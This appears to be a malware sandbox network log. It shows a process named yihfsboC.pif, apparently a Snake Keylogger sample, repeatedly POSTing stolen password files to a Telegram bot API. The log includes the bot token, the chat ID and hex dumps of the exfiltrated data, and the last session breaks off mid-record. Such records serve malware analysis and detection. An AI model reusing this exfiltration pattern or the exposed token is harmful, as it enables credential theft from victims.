Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49850	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:47 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e633f512fcf Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:47 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 36 33 33 66 35 31 32 66 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e633f512fcfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:48 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:48 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388900,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605948,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49854	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:48 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0efa41ff69d7 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:48 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 66 61 34 31 66 66 36 39 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0efa41ff69d7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:48 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:49 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388902,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605948,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49855	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:48 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e867d773907 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:48 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 38 36 37 64 37 37 33 39 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e867d773907Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:48 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:49 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 34 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388903,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605948,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49858	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:49 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e7d2eac84a9 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:49 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 37 64 32 65 61 63 38 34 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e7d2eac84a9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:50 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:50 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388906,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605950,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49864	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:50 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ea18e3d18a2 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:50 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 61 31 38 65 33 64 31 38 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ea18e3d18a2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:50 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:51 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388908,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605950,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49863	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:50 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f14dc5e3fef Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:50 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 31 34 64 63 35 65 33 66 65 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f14dc5e3fefContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:50 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:51 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388909,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605950,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49867	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:51 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e97064f676e Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:51 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 39 37 30 36 34 66 36 37 36 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e97064f676eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:52 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:52 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 35 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388911,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605952,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49868	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:52 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0eb3179c3f7f Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:52 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 62 33 31 37 39 63 33 66 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: 